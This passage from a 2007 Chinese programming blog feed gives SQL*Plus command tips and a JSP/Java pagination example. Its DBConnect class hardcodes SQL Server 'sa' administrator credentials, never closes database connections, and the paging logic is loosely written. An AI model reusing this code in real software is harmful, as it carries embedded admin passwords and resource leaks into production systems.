<br>&nbsp;&nbsp;<br>32．显示sql*plus命令的帮助 <br>HELP <br>如何安装帮助文件： <br>Sql&gt;@ ?\sqlplus\admin\help\hlpbld.sql ?\sqlplus\admin\help\helpus.sql <br>Sql&gt;help index <br>&nbsp;&nbsp;<br>33．显示sql*plus系统变量的值或sql*plus环境变量的值 <br>Syntax <br>SHO[W] option <br>where option represents one of the following terms or clauses: <br>system_variable <br>ALL <br>BTI[TLE] <br>ERR[ORS] [{FUNCTION|PROCEDURE|PACKAGE|PACKAGE BODY| <br>TRIGGER|VIEW|TYPE|TYPE BODY} [schema.]name] <br>LNO <br>PARAMETERS [parameter_name] <br>PNO <br>REL[EASE] <br>REPF[OOTER] <br>REPH[EADER] <br>SGA <br>SPOO[L] <br>SQLCODE <br>TTI[TLE] <br>USER <br>&nbsp;&nbsp;<br>1) . 显示当前环境变量的值： <br>Show all <br>&nbsp;&nbsp;<br>2) . 显示当前在创建函数、存储过程、触发器、包等对象的错误信息 <br>Show error <br>当创建一个函数、存储过程等出错时，变可以用该命令查看在那个地方出错及相应的出错信息，进行修改后再次进行编译。 <br>&nbsp;&nbsp;<br>3) . 显示初始化参数的值： <br>show PARAMETERS [parameter_name] <br>&nbsp;&nbsp;<br>4) . 显示数据库的版本： <br>show REL[EASE] <br>&nbsp;&nbsp;<br>5) . 显示SGA的大小 <br>show SGA <br>&nbsp;&nbsp;<br>6). 显示当前的用户名 <br>show user<br><br>34.查询一个用户下的对象<br>SQL&gt;select * from tab;<br>SQL&gt;select * from user_objects;<br><br>35.查询一个用户下的所有的表<br>SQL&gt;select * from user_tables;<br><br>36.查询一个用户下的所有的索引<br>SQL&gt;select * from user_indexes;<br><br><br>37. 定义一个用户变量<br>方法有两个：<br>a. define<br>b. COL[UMN] [{column|expr} NEW_V[ALUE] variable [NOPRI[NT]|PRI[NT]]<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; OLD_V[ALUE] variable&nbsp;&nbsp;[NOPRI[NT]|PRI[NT]]<br><br>下面对每种方式给予解释：<br>a. Syntax<br>DEF[INE] [variable]|[variable = text]<br>定义一个用户变量并且可以分配给它一个CHAR值。<br><br>assign the value MANAGER to the variable POS, type:<br>SQL&gt; DEFINE POS = MANAGER<br><br>assign the CHAR value 20 to the variable DEPTNO, type:<br>SQL&gt; DEFINE DEPTNO = 20<br><br>list the definition of DEPTNO, enter<br>SQL&gt; DEFINE DEPTNO<br>&nbsp; &nbsp; &nbsp; &nbsp; ―――――――――――――――<br>DEFINE DEPTNO = &#8221;20&#8221; (CHAR)<br><br>定义了用户变量POS后，就可以在sql*plus中用&amp;POS或&amp;&amp;POS来引用该变量的值，sql*plus不会再提示你给变量输入值。<br><br>b. COL[UMN] [{column|expr} NEW_V[ALUE] variable [NOPRI[NT]|PRI[NT]]<br>NEW_V[ALUE] variable<br>指定一个变量容纳查询出的列值。<br>例:column col_name new_value var_name noprint<br>&nbsp; &nbsp;select col_name from table_name where &#8230;&#8230;..<br>将下面查询出的col_name列的值赋给var_name变量.<br><br>一个综合的例子:<br>得到一个列值的两次查询之差(此例为10秒之内共提交了多少事务):<br>column redo_writes new_value commit_count<br><br>select sum(stat.value) redo_writes<br>from v$sesstat stat, v$statname sn<br>where stat.statistic# = sn.statistic#<br>and sn.name = 'user commits';<br><br>-- 等待一会儿(此处为10秒);<br>execute dbms_lock.sleep(10);<br><br>set veri off<br>select sum(stat.value) - &amp;commit_count commits_added<br>from v$sesstat stat, v$statname sn<br>where stat.statistic# = sn.statistic#<br>and sn.name = 'user commits';<br><br><br>38. 定义一个绑定变量<br>VAR[IABLE] [variable [NUMBER|CHAR|CHAR (n)|NCHAR|NCHAR (n) |VARCHAR2 (n)|NVARCHAR2 (n)|CLOB|NCLOB|REFCURSOR]]<br>定义一个绑定变量，该变量可以在pl/sql中引用。<br>可以用print命令显示该绑定变量的信息。<br>如：<br>column inst_num&nbsp;&nbsp;heading "Inst Num"&nbsp;&nbsp;new_value inst_num&nbsp;&nbsp;format 99999;<br>column inst_name heading "Instance"&nbsp;&nbsp;new_value inst_name format a12;<br>column db_name&nbsp; &nbsp;heading "DB Name"&nbsp; &nbsp;new_value db_name&nbsp; &nbsp;format a12;<br>column dbid&nbsp; &nbsp;&nbsp; &nbsp;heading "DB Id"&nbsp; &nbsp;&nbsp;&nbsp;new_value dbid&nbsp; &nbsp;&nbsp; &nbsp;format 9999999999 just c;<br><br>prompt<br>prompt Current Instance<br>prompt ~~~~~~~~~~~~~~~~<br><br>select d.dbid&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;dbid<br>&nbsp; &nbsp;&nbsp;&nbsp;, d.name&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;db_name<br>&nbsp; &nbsp;&nbsp;&nbsp;, i.instance_number inst_num<br>&nbsp; &nbsp;&nbsp;&nbsp;, i.instance_name&nbsp; &nbsp;inst_name<br>&nbsp;&nbsp;from v$database d,<br>&nbsp; &nbsp;&nbsp; &nbsp; v$instance i;<br><br>variable dbid&nbsp; &nbsp;&nbsp; &nbsp; number;<br>variable inst_num&nbsp; &nbsp;number;<br>begin<br>&nbsp;&nbsp;:dbid&nbsp; &nbsp;&nbsp; &nbsp;:=&nbsp;&nbsp;&amp;dbid;<br>&nbsp;&nbsp;:inst_num&nbsp;&nbsp;:=&nbsp;&nbsp;&amp;inst_num;<br>end;<br>/<br>说明：<br>在sql*plus中，该绑定变量可以作为一个存储过程的参数，也可以在匿名PL/SQL块中直接引用。为了显示用VARIABLE命令创建的绑定变量的值，可以用print命令<br><br>注意：<br>绑定变量不同于变量：<br>1．&nbsp; &nbsp; &nbsp; &nbsp; 定义方法不同<br>2．&nbsp; &nbsp; &nbsp; &nbsp; 引用方法不同<br>绑定变量：:variable_name<br>&nbsp; &nbsp; &nbsp; &nbsp; 变量：&amp;variable_name or &amp;&amp;variable_name<br>3.在sql*plus中，可以定义同名的绑定变量与用户变量，但是引用的方法不同。<br><br>39. &amp;与&amp;&amp;的区别<br>&amp;用来创建一个临时变量，每当遇到这个临时变量时，都会提示你输入一个值。<br>&amp;&amp;用来创建一个持久变量，就像用用define命令或带new_vlaue字句的column命令创建的持久变量一样。当用&amp;&amp;命令引用这个变量时，不会每次遇到该变量就提示用户键入值，而只是在第一次遇到时提示一次。<br><br>如，将下面三行语句存为一个脚本文件，运行该脚本文件，会提示三次，让输入deptnoval的值：<br>select count(*) from emp where deptno = &amp;deptnoval;<br>select count(*) from emp where deptno = &amp;deptnoval;<br>select count(*) from emp where deptno = &amp;deptnoval;<br><br>将下面三行语句存为一个脚本文件，运行该脚本文件，则只会提示一次，让输入deptnoval的值：<br>select count(*) from emp where deptno = &amp;&amp;deptnoval;<br>select count(*) from emp where deptno = &amp;&amp;deptnoval;<br>select count(*) from emp where deptno = &amp;&amp;deptnoval;<br><br>40．在输入<u><strong><font color=#ff0000>sql</font></strong></u>语句的过程中临时先运行一个sql*plus命令(摘自www.itpub.com)<br>#<br>有没有过这样的经历? 在sql*plus中敲了很长的命令后, 突然发现想不起某个列的名字了, 如果取消当前的命令,待查询后再重敲, 那太痛苦了. 当然你可以另开一个sql*plus窗口进行查询, 但这里提供的方法更简单.<br><br>比如说, 你想查工资大于4000的员工的信息, 输入了下面的语句:<br><br>SQL&gt; select deptno, empno, ename<br>2 from emp<br>3 where<br>这时, 你发现你想不起来工资的列名是什么了.<br><br>这种情况下, 只要在下一行以#开头, 就可以执行一条sql*plus命令, 执行完后, 刚才的语句可以继续输入<br><br>SQL&gt;&gt; select deptno, empno, ename<br>2 from emp<br>3 where<br>6 #desc emp<br>Name Null? Type<br>----------------------------------------- -------- --------------<br>EMPNO NOT NULL NUMBER(4)<br>ENAME VARCHAR2(10)<br>JOB VARCHAR2(9)<br>MGR NUMBER(4)<br>HIREDATE DATE<br>SAL NUMBER(7,2)<br>COMM NUMBER(7,2)<br>DEPTNO NUMBER(2)<br><br>6 sal &gt; 4000;<br><br>DEPTNO EMPNO ENAME<br>---------- ---------- ----------<br>10 7839 KING<br><br>41. SQLPlus中的快速复制和粘贴技巧(摘自www.cnoug.org)<br>1) 鼠标移至想要复制内容的开始 <br>2) 用右手食指按下鼠标左键 <br>3) 向想要复制内容的另一角拖动鼠标，与Word中选取内容的方法一样 <br>4) 内容选取完毕后（所选内容全部反显），鼠标左键按住不动，用右手中指按鼠标右键 <br>5) 这时，所选内容会自动复制到SQL*Plus环境的最后一行<br><img src ="http://www.cnitblog.com/flydream/aggbug/30970.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-07-31 11:28 <a href="http://www.cnitblog.com/flydream/archive/2007/07/31/30970.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jsp分页</title><link>http://www.cnitblog.com/flydream/archive/2007/07/29/30858.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sun, 29 Jul 2007 05:09:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/07/29/30858.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/30858.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/07/29/30858.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/30858.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/30858.html</trackback:ping><description><![CDATA[package&nbsp;servlets; <br><br>import&nbsp;java.sql.*; <br>import&nbsp;java.io.IOException; <br>import&nbsp;java.io.PrintWriter; <br><br>import&nbsp;javax.servlet.ServletException; <br>import&nbsp;javax.servlet.http.HttpServlet; <br>import&nbsp;javax.servlet.http.HttpServletRequest; <br>import&nbsp;javax.servlet.http.HttpServletResponse; <br><br>public&nbsp;class&nbsp;Pagination&nbsp; <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;String&nbsp;strPage="";//page参数变量 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;int&nbsp;curPages;//page参数的内部值 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;int&nbsp;m_rows;//设置每页要显示的页数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;int&nbsp;pages;//总页数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//取得test.jsp里的test.jsp?page=&lt;%=curPage-1%&gt;或是test.jsp?page=&lt;%=curPage+1%&gt;的值给变量strPage <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;&nbsp;String&nbsp;&nbsp;strPage(HttpServletRequest&nbsp;request,String&nbsp;page) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strPage=request.getParameter(page);&nbsp;//request对象取得page的值 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch(Exception&nbsp;e) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println("delcolumn"&nbsp;+&nbsp;e.getMessage()); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;strPage;//返回这个值 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/** <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;method&nbsp;'curPages'&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;page <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;int&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/ <br>&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp;页面数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;int&nbsp;curPages(String&nbsp;page) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strPage&nbsp;==&nbsp;null)//默认没有就设置为第一页 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curPages=1; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curPages=Integer.parseInt(strPage);//取得strPage整数值 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(curPages&lt;1)//如果小于1，同样返回是第一页 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curPages=1; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch(Exception&nbsp;e) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println("curPages"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;curPages;//返回页面数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/** <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;set&nbsp;the&nbsp;value&nbsp;of&nbsp;rows <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置每页要显示的记录数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;void&nbsp;setRows(int&nbsp;rows) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_rows=rows; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/** <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;method&nbsp;'getPages'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;rowcounts&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;int&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//取得页数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;int&nbsp;getPages(int&nbsp;rowcounts) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;test;//变量 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;test=rowcounts%m_rows;//取得余数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(test==0) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pages=rowcounts/m_rows;//每页显示的整数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pages=rowcounts/m_rows+1;//不是的话就加1 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;pages;//返回页数 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/** <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*method&nbsp;'getPagesSet'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*@param&nbsp;rs,&nbsp;curPages&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*@return&nbsp;ResultSet <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//结果集的返回 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;ResultSet&nbsp;getPageSet(ResultSet&nbsp;rs,int&nbsp;curPages) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(curPages==1) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;rs;//如果是一页的话，就返回RS <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i=1; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(rs.next()) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i=i+1; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(i&gt;((curPages-1)*m_rows)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;//退出 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;rs;//从退出开始将结果集返回 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch(Exception&nbsp;e) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(e.getMessage()); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;rs; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp; <br>} <br><br><br>--------------------------------------------------------<br><br>package&nbsp;data; <br><br>import&nbsp;java.sql.*; <br>public&nbsp;class&nbsp;DBConnect&nbsp;{ <br>String&nbsp;driver&nbsp;="com.microsoft.jdbc.sqlserver.SQLServerDriver"; <br>String&nbsp;url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=fakir08"; <br>String&nbsp;username="sa"; <br>String&nbsp;password="spring"; <br>Connection&nbsp;conn; <br>ResultSet&nbsp;rs; <br>public&nbsp;DBConnect() <br>{ <br>try <br>{ <br>Class.forName(driver);//创建数据库连接驱动 <br>} <br>catch(ClassNotFoundException&nbsp;e) <br>{ <br>System.out.println("jdbc:"+&nbsp;e.getMessage()); <br>} <br><br>} <br>public&nbsp;void&nbsp;executeUpdate(String&nbsp;sql)throws&nbsp;&nbsp;Exception&nbsp; <br>{ <br>//sql=new&nbsp;String(sql.getBytes("BG2312"),"ISO8859_1"); <br>try <br>{ <br>conn=DriverManager.getConnection(url,username,password); <br>Statement&nbsp;stmt=conn.createStatement(); <br>stmt.executeUpdate(sql); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//stmt.close(); <br>//conn.close(); <br><br><br>} <br>catch(SQLException&nbsp;eX) <br>{ <br>System.out.println("jdbc:"+&nbsp;eX.getMessage()); <br>} <br>} <br>public&nbsp;ResultSet&nbsp;executeQurey(String&nbsp;sql)throws&nbsp;&nbsp;Exception&nbsp; <br>{ <br>rs=null; <br>//sql=new&nbsp;String(sql.getBytes("BG2312"),"ISO8859_1"); <br>try <br>{ <br>conn=DriverManager.getConnection(url,username,password); <br>Statement&nbsp;stmt=conn.createStatement(); <br>rs=stmt.executeQuery(sql); <br>&nbsp;&nbsp;&nbsp;&nbsp;//stmt.close(); <br>//conn.close(); <br><br><br>} <br>catch(SQLException&nbsp;eX) <br>{ <br>System.out.println("jdbc:"+&nbsp;eX.getMessage()); <br>} <br>return&nbsp;rs; <br>} <br><br>} <br><br><br>--------------------------------------------------------<br><br>&lt;%@&nbsp;page&nbsp;language="java"&nbsp;import="java.util.*"&nbsp;pageEncoding="UTF-8"%&gt; <br>&lt;%@&nbsp;page&nbsp;import="java.sql.*"%&gt; <br>&lt;%@&nbsp;page&nbsp;import="servlets.*"%&gt; <br>&lt;% <br>String&nbsp;path&nbsp;=&nbsp;request.getContextPath(); <br>String&nbsp;basePath&nbsp;=&nbsp;request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; <br>%&gt; <br><br>&lt;!DOCTYPE&nbsp;HTML&nbsp;PUBLIC&nbsp;"-//W3C//DTD&nbsp;HTML&nbsp;4.01&nbsp;Transitional//EN"&gt; <br>&lt;html&gt; <br>&nbsp;&nbsp;&lt;head&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;base&nbsp;href="&lt;%=basePath%&gt;"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;My&nbsp;JSP&nbsp;'test.jsp'&nbsp;starting&nbsp;page&lt;/title&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv="pragma"&nbsp;content="no-cache"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv="cache-control"&nbsp;content="no-cache"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv="expires"&nbsp;content="0"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv="keywords"&nbsp;content="keyword1,keyword2,keyword3"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;http-equiv="description"&nbsp;content="This&nbsp;is&nbsp;my&nbsp;page"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;link&nbsp;rel="stylesheet"&nbsp;type="text/css"&nbsp;href="styles.css"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;--&gt; <br>&nbsp;&nbsp;&lt;/head&gt; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp;&lt;body&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;jsp:useBean&nbsp;id="m_pages"&nbsp;scope="page"&nbsp;class="servlets.Pagination"/&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;jsp:useBean&nbsp;id="sql"&nbsp;scope="page"&nbsp;class="data.DBConnect"/&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;% <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pagination&nbsp;d=new&nbsp;Pagination(); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;curPages=d.curPages(d.strPage(request,"page")); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.setRows(4); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ResultSet&nbsp;rs_count=sql.executeQurey("select&nbsp;count(*)&nbsp;as&nbsp;t&nbsp;from&nbsp;employee"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs_count.next(); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;resultcouts=rs_count.getInt("t"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;totalPages=d.getPages(resultcouts); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ResultSet&nbsp;rs&nbsp;=d.getPageSet(sql.executeQurey("select&nbsp;*&nbsp;from&nbsp;employee"),curPages); <br>&nbsp;&nbsp;&nbsp;&nbsp;%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;分类表&lt;/p&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;table&nbsp;border="1"&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;1&lt;/td&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;2&lt;/td&gt;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;%&nbsp;int&nbsp;i=1;%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;%&nbsp;while(rs.next()){%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;%=&nbsp;rs.getString("first_name")%&gt;&lt;/td&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&lt;%=&nbsp;rs.getString("last_name")%&gt;&lt;/td&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;% <br>&nbsp;&nbsp;&nbsp;&nbsp;i=i+1; <br>&nbsp;&nbsp;&nbsp;&nbsp;if(i&gt;4) <br>&nbsp;&nbsp;&nbsp;&nbsp;break; <br>&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/table&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&nbsp;align="center"&gt;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;colspan="5"&nbsp;align="right"&nbsp;valign="middle"&gt;共&nbsp;&lt;font&nbsp;color="red"&gt;&lt;%=&nbsp;resultcouts&nbsp;%&gt;&lt;/font&gt;条记录&nbsp;共&nbsp;&lt;font&nbsp;color="red"&gt;&lt;%=&nbsp;totalPages&nbsp;%&gt;&lt;/font&gt;页&lt;/td&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;%if(curPages==1)&nbsp;{%&gt;&nbsp;&lt;a&nbsp;href="CH9/test.jsp?page=&lt;%=&nbsp;curPages%&gt;"&gt;首页&lt;/a&gt;&lt;%}%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;%if(curPages&gt;1)&nbsp;{%&gt;&nbsp;&lt;a&nbsp;href="CH9/test.jsp?page=&lt;%=&nbsp;curPages-1%&gt;"&gt;上一页&lt;/a&gt;&lt;%}%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;%if(curPages&lt;totalPages)&nbsp;{%&gt;&nbsp;&lt;a&nbsp;href="CH9/test.jsp?page=&lt;%=&nbsp;curPages+1%&gt;"&gt;下一页&lt;/a&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;%&nbsp;}else&nbsp;{%&gt;&nbsp;&lt;a&nbsp;href="CH9/test.jsp?page=&lt;%=&nbsp;totalPages%&gt;"&gt;尾页&lt;/a&gt;&lt;%}%&gt; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/p&gt; <br>&nbsp;&nbsp;&lt;/body&gt; <br>&lt;/html&gt; <br><img src ="http://www.cnitblog.com/flydream/aggbug/30858.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-07-29 13:09 <a href="http://www.cnitblog.com/flydream/archive/2007/07/29/30858.html#Feedback" target="_blank" 